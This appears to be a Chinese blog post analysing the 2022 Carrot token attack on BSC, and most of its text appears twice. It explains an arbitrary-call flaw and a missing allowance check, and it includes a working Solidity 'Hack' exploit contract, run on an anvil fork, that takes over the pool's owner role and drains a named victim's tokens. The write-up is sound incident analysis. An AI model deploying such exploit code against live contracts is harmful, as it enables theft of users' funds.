Bsc代币Carrot攻击事件分析
合约中存在两个漏洞代码注入和逻辑错误,通过漏洞利用,可以达到转移任意用户的Carrot代币。利用过中还涉及一个未开源的pool合约。一句话总结漏洞利用过程:利用代码注入漏洞Carrot合约通过调用pool合约的方法成为pool合约的owner,利用逻辑漏洞绕过转账时的授权检查。
# 基本信息
攻击者、攻击合约
account 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c hackEoa
account 0x5575406ef6b15eec1986c412b9fbe144522c45ae hackCon
存在漏洞的合约
Carrot合约:0xcFF086EaD392CcB39C49eCda8C974ad5238452aC
pool合约,未开源: 0x6863b549bf730863157318df4496ed111adfa64f
account 0x6863b549bf730863157318df4496ed111adfa64f vulPool
# 漏洞原理
漏洞类型为:代码注入和逻辑错误。
漏洞主要存在两个地方:
1. 代码注入。`transReward`函数可以达到执行任意pool合约的目的。
2. 逻辑错误。使用的REC20合约中的`transferFrom`函数中的对满足_isExcludedFromFee的用户,没有授权的判定。
漏洞1:代码注入。导致任意人可以调用pool合约的代码,从而可以改变pool合约的owner。
漏洞存在于Carrot合约中`transReward`函数中,该函数为public函数,可以通过传递data参数调用pool合约,pool合约未开源。
```bash
function transReward(bytes memory data) public {
pool.functionCall(data);
}
```
pool合约中存在`0xbf699b4b` 的函数,该函数可以设置pool合约的owner
漏洞2:逻辑错误。`transferFrom`函数中满足免税的用户,直接_transfer了,而没有进行approve的判断,从而所有Carrot代币的用户,都可以被转走。
```solidity
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_beforeTransfer(_msgSender(),recipient,amount);
if(_isExcludedFromFee[_msgSender()]){
_transfer(sender, recipient, amount);
return true;
}
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
```
# 攻击过程分析
主要使用blocksec进行分析。
1. 调用黑客合约的`0x668f0ad4` 方法
2. 黑客合约直接delegatecall 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251 0x668f0ad4的方法
3. 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251 0x668f0ad4 直接调用了hackCon的 0x8d3360cc 方法 (`这里考虑是不是回调)`
4. delegatecall 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251 0x8d3360cc的方法
1. hackCon将Carrot代币授权给0x9b7325a150254df59d7253885d41d8d3310f9c1a
2. PancakeRouter将Carrot代币授权给hackCon
3. 调用Carrot.`transReward`,这个函数只有一句代码
`pool.functionCall(data);`
其中pool的地址为:`0x6863b549bf730863157318df4496ed111adfa64f`
data中传递的参数:
给pool传递的原始数据为:
```bash
这里应该是弯路
0xbf699b4b0000000000000000000000005575406ef6b15eec1986c412b9fbe144522c45ae
应该对应两个字段:
前4个字节为函数名bf699b4b,现在未知
后面对应着一个合约地址:0x5575406ef6b15eec1986c412b9fbe144522c45ae,这个地址是黑客的攻击合约。
所以,这里是将黑客攻击合约的地址做为参数传递给了pool合约的bf699b4b函数。
可以使用cast calldata "test(address)" 0x5575406ef6b15eec1986c412b9fbe144522c45ae 看下calldata数据
```
<aside>
PS:这个pool地址是由Carrot的官方部署的。
</aside>
通过对pool合约逆向。可以看到
```bash
function 0xbf699b4b(uint256 varg0) public nonPayable {
require(4 + (msg.data.length - 4) - 4 >= 32);
0x2110(varg0);
if (_owner.code.size > 0) {
stor_3_0_0 = 1; //IsOwnerContract
}
if (!stor_3_0_0) {
v0 = v1 = _owner == msg.sender;
if (_owner != msg.sender) {
v0 = v2 = 0xff & _addLiquidity[msg.sender]; // 如果没设置owner的话,要求调用者在这个mapping中
}
require(v0);
} else {
require(_owner == msg.sender); //如果设置过owner的话,要求调用者必须是owner
}
_owner = varg0; //将传入的地址设置成owner
}
```
4. hackCon从攻击合约向Carrot合约转了0个Carrot代币。( ?为什么要转?)
5. 0x00b433800970286cf08f34c96cf07f35412f1161 向hackCon转了31万的Carrot代币。
# 攻击复现
anvil --fork-url [https://rpc.ankr.com/bsc](https://rpc.ankr.com/bsc) --fork-block-number 22055611
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./interfaces/Carrot.sol";
import "forge-std/console2.sol";
contract Hack {
address public owner;
address constant public CARADDR = 0xcFF086EaD392CcB39C49eCda8C974ad5238452aC;
address constant public PANCAKEROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant public POOL = 0x6863b549bf730863157318df4496eD111aDFA64f;
constructor() {
owner = msg.sender;
}
modifier OnlyOwner() {
require(owner==msg.sender, "OnlyOwner can");
_;
}
function kill(address _to) public OnlyOwner {
selfdestruct(payable(_to));
}
function hackProc() public OnlyOwner {
Carrot carrot = Carrot(CARADDR);
carrot.approve(PANCAKEROUTER, ~uint(0));
carrot.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));
carrot.transferFrom(address(this), CARADDR, 0);
// 开始从授权账户转币
address victim = 0x00B433800970286CF08F34C96cf07f35412F1161; //310344736073087429864760 原始攻击使用的受害者
uint amount = carrot.balanceOf(victim);
console2.log("Victim:%s, carrot balance:%s",
victim, amount);
carrot.transferFrom(victim, address(this), amount);
// 0x0522898a86196612248aD0FE88E8De4f7156DaC3
}
}
```
![image.png](https://img.learnblockchain.cn/attachments/2022/10/MYeWaciz6350185f115d4.png)
# 漏洞修复
修复的方式
1. 去掉了代码注入调用。
2. 去掉了对免税者不检查approve的逻辑。
新合约与旧合约代码上的改变。
![image.png](https://img.learnblockchain.cn/attachments/2022/10/J8i0A7bG6350186fa0cb5.png)
![image.png](https://img.learnblockchain.cn/attachments/2022/10/CVPy3jyU63501881b926f.png)
新合约的pool地址为
`0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5`
新的pool地址中也有一个 `bf699b4b` 的函数
![image.png](https://img.learnblockchain.cn/attachments/2022/10/XSK0vBlQ635018a3519a2.png)
# 几个思考
1. 为什么只取了一个用户地址的代币?
2. 不通过Carrot合约,直接调用pool合约的`0xbf699b4b`可以取得owner权限吗?
3. 是什么时候设置的owner的?有没有可能修改这个值?怎么验证这个owner?
合约变量存储在slot中,每个槽32字节。
对2的解答:
不可以。对Carrot合约`0xcff086ead392ccb39c49ecda8c974ad5238452ac`,在pool合约中mapping变量的值为1,对其他合约`0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84`,在pool合约中mapping变量的值为0。所以其他合约在调用`0xbf699b4b`函数时,会因为mapping的原因,导致无法通过pool合约中的require检查,因此函数调用不会成功。
0xcff086ead392ccb39c49ecda8c974ad5238452ac的mapping变量的值
```bash
cast index address 0xcff086ead392ccb39c49ecda8c974ad5238452ac 1
0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3 -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000001
```
0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84(foundry部署的合约地址)的mapping变量的值
```bash
cast index address 0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84 1
0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000000
```
对3的解答
IsOwnerContract存储在合约的STORAGE 3中,使用cast命令可以读取到,该值为0,表示owner不是一个合约地址。
owner的地址在合约的STORAGE 5中,使用
```bash
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 5 -r $ANVIL_RPC
0x0000000000000000000000008958c8689d325fd9e2a1ede3d5dc1acfcfb65742
```
# 参考
攻击tx: 0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9
漏洞合约地址:0xcff086ead392ccb39c49ecda8c974ad5238452ac
漏洞利用时pool合约地址:0x6863b549bf730863157318df4496ed111adfa64f
新合约地址: 0xE9809e9FD9FFa2b9f52755839bE6B6F9891C50cB
新合约使用的pool地址: 0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5
account 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c hackEoa
account 0x5575406ef6b15eec1986c412b9fbe144522c45ae hackCon
[https://phalcon.blocksec.com/tx/bsc/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9](https://phalcon.blocksec.com/tx/bsc/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9)
Foundry的基本使用总结 [https://learnblockchain.cn/article/4725](https://learnblockchain.cn/article/4725)
Carrot是一个ERC20代币,漏洞存在于代币的合约中。合约中存在两个漏洞代码注入和逻辑错误,通过漏洞利用,可以达到转移任意用户的Carrot代币。利用过中还涉及一个未开源的pool合约。一句话总结漏洞利用过程:利用代码注入漏洞Carrot合约通过调用pool合约的方法成为pool合约的owner,利用逻辑漏洞绕过转账时的授权检查。
基本信息
攻击者、攻击合约
account 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c hackEoa account 0x5575406ef6b15eec1986c412b9fbe144522c45ae hackCon
存在漏洞的合约
Carrot合约:0xcFF086EaD392CcB39C49eCda8C974ad5238452aC
pool合约,未开源: 0x6863b549bf730863157318df4496ed111adfa64f account 0x6863b549bf730863157318df4496ed111adfa64f vulPool
漏洞原理
漏洞类型为:代码注入和逻辑错误。
漏洞主要存在两个地方:
- 代码注入。
transReward
函数可以达到执行任意pool合约的目的。 - 逻辑错误。使用的REC20合约中的
transferFrom
函数中的对满足_isExcludedFromFee的用户,没有授权的判定。
漏洞1:代码注入。导致任意人可以调用pool合约的代码,从而可以改变pool合约的owner。
漏洞存在于Carrot合约中transReward
函数中,该函数为public函数,可以通过传递data参数调用pool合约,pool合约未开源。
function transReward(bytes memory data) public {
pool.functionCall(data);
}
pool合约中存在0xbf699b4b
的函数,该函数可以设置pool合约的owner
漏洞2:逻辑错误。transferFrom
函数中满足免税的用户,直接_transfer了,而没有进行approve的判断,从而所有Carrot代币的用户,都可以被转走。
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_beforeTransfer(_msgSender(),recipient,amount);
if(_isExcludedFromFee[_msgSender()]){
_transfer(sender, recipient, amount);
return true;
}
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
攻击过程分析
主要使用blocksec进行分析。
- 调用黑客合约的
0x668f0ad4
方法 - 黑客合约直接delegatecall 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251 0x668f0ad4的方法
- 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251 0x668f0ad4 直接调用了hackCon的 0x8d3360cc 方法 (
这里考虑是不是回调)
-
delegatecall 0xc422f23102bf2eeb237a8f7789be6a6be3e4a251 0x8d3360cc的方法
-
hackCon将Carrot代币授权给0x9b7325a150254df59d7253885d41d8d3310f9c1a
-
PancakeRouter将Carrot代币授权给hackCon
-
调用Carrot.
transReward
,这个函数只有一句代码pool.functionCall(data);
其中pool的地址为:
0x6863b549bf730863157318df4496ed111adfa64f
data中传递的参数:
给pool传递的原始数据为:
这里应该是弯路 0xbf699b4b0000000000000000000000005575406ef6b15eec1986c412b9fbe144522c45ae 应该对应两个字段: 前4个字节为函数名bf699b4b,现在未知 后面对应着一个合约地址:0x5575406ef6b15eec1986c412b9fbe144522c45ae,这个地址是黑客的攻击合约。 所以,这里是将黑客攻击合约的地址做为参数传递给了pool合约的bf699b4b函数。 可以使用cast calldata "test(address)" 0x5575406ef6b15eec1986c412b9fbe144522c45ae 看下calldata数据
<aside> PS:这个pool地址是由Carrot的官方部署的。
</aside>
通过对pool合约逆向。可以看到
function 0xbf699b4b(uint256 varg0) public nonPayable { require(4 + (msg.data.length - 4) - 4 >= 32); 0x2110(varg0); if (_owner.code.size > 0) { stor_3_0_0 = 1; //IsOwnerContract } if (!stor_3_0_0) { v0 = v1 = _owner == msg.sender; if (_owner != msg.sender) { v0 = v2 = 0xff & _addLiquidity[msg.sender]; // 如果没设置owner的话,要求调用者在这个mapping中 } require(v0); } else { require(_owner == msg.sender); //如果设置过owner的话,要求调用者必须是owner } _owner = varg0; //将传入的地址设置成owner }
-
hackCon从攻击合约向Carrot合约转了0个Carrot代币。( ?为什么要转?)
-
0x00b433800970286cf08f34c96cf07f35412f1161 向hackCon转了31万的Carrot代币。
-
攻击复现
anvil --fork-url https://rpc.ankr.com/bsc --fork-block-number 22055611
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "./interfaces/Carrot.sol";
import "forge-std/console2.sol";
contract Hack {
address public owner;
address constant public CARADDR = 0xcFF086EaD392CcB39C49eCda8C974ad5238452aC;
address constant public PANCAKEROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address constant public POOL = 0x6863b549bf730863157318df4496eD111aDFA64f;
constructor() {
owner = msg.sender;
}
modifier OnlyOwner() {
require(owner==msg.sender, "OnlyOwner can");
_;
}
function kill(address _to) public OnlyOwner {
selfdestruct(payable(_to));
}
function hackProc() public OnlyOwner {
Carrot carrot = Carrot(CARADDR);
carrot.approve(PANCAKEROUTER, ~uint(0));
carrot.transReward(abi.encodeWithSelector(0xbf699b4b, address(this)));
carrot.transferFrom(address(this), CARADDR, 0);
// 开始从授权账户转币
address victim = 0x00B433800970286CF08F34C96cf07f35412F1161; //310344736073087429864760 原始攻击使用的受害者
uint amount = carrot.balanceOf(victim);
console2.log("Victim:%s, carrot balance:%s",
victim, amount);
carrot.transferFrom(victim, address(this), amount);
// 0x0522898a86196612248aD0FE88E8De4f7156DaC3
}
}
漏洞修复
修复的方式
- 去掉了代码注入调用。
- 去掉了对免税者不检查approve的逻辑。
新合约与旧合约代码上的改变。
新合约的pool地址为 0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5
新的pool地址中也有一个 bf699b4b
的函数
几个思考
- 为什么只取了一个用户地址的代币?
- 不通过Carrot合约,直接调用pool合约的
0xbf699b4b
可以取得owner权限吗? -
是什么时候设置的owner的?有没有可能修改这个值?怎么验证这个owner?
合约变量存储在slot中,每个槽32字节。
对2的解答:
不可以。对Carrot合约0xcff086ead392ccb39c49ecda8c974ad5238452ac
,在pool合约中mapping变量的值为1,对其他合约0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84
,在pool合约中mapping变量的值为0。所以其他合约在调用0xbf699b4b
函数时,会因为mapping的原因,导致无法通过pool合约中的require检查,因此函数调用不会成功。 0xcff086ead392ccb39c49ecda8c974ad5238452ac的mapping变量的值
cast index address 0xcff086ead392ccb39c49ecda8c974ad5238452ac 1
0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x50806b5fec72182ae612226c0727f3c74ce29b5ace29ce014a08273f16a515a3 -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000001
0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84(foundry部署的合约地址)的mapping变量的值
cast index address 0xb4c79daB8f259C7Aee6E5b2Aa729821864227e84 1
0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 0x4471cc5cac2b64523530417b5fc41f30128f5b073ab87ef99ba1de02e6bb9deb -r $ANVIL_RPC
0x0000000000000000000000000000000000000000000000000000000000000000
对3的解答
IsOwnerContract存储在合约的STORAGE 3中,使用cast命令可以读取到,该值为0,表示owner不是一个合约地址。
owner的地址在合约的STORAGE 5中,使用
cast storage 0x6863b549bf730863157318df4496ed111adfa64f 5 -r $ANVIL_RPC
0x0000000000000000000000008958c8689d325fd9e2a1ede3d5dc1acfcfb65742
参考
攻击tx: 0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9
漏洞合约地址:0xcff086ead392ccb39c49ecda8c974ad5238452ac
漏洞利用时pool合约地址:0x6863b549bf730863157318df4496ed111adfa64f
新合约地址: 0xE9809e9FD9FFa2b9f52755839bE6B6F9891C50cB
新合约使用的pool地址: 0x338b9B9E3fE6Ccf0A89C0B8189822dbE4a32fDd5
account 0xd11a93a8db5f8d3fb03b88b4b24c3ed01b8a411c hackEoa
account 0x5575406ef6b15eec1986c412b9fbe144522c45ae hackCon
https://phalcon.blocksec.com/tx/bsc/0xa624660c29ee97f3f4ebd36232d8199e7c97533c9db711fa4027994aa11e01b9
Foundry的基本使用总结 https://learnblockchain.cn/article/4725
本文参与区块链技术网 ,好文好收益,欢迎正在阅读的你也加入。
- 发表于 2022-10-19 23:38
- 阅读 ( 304 )
- 学分 ( 9 )
- 分类:安全
评论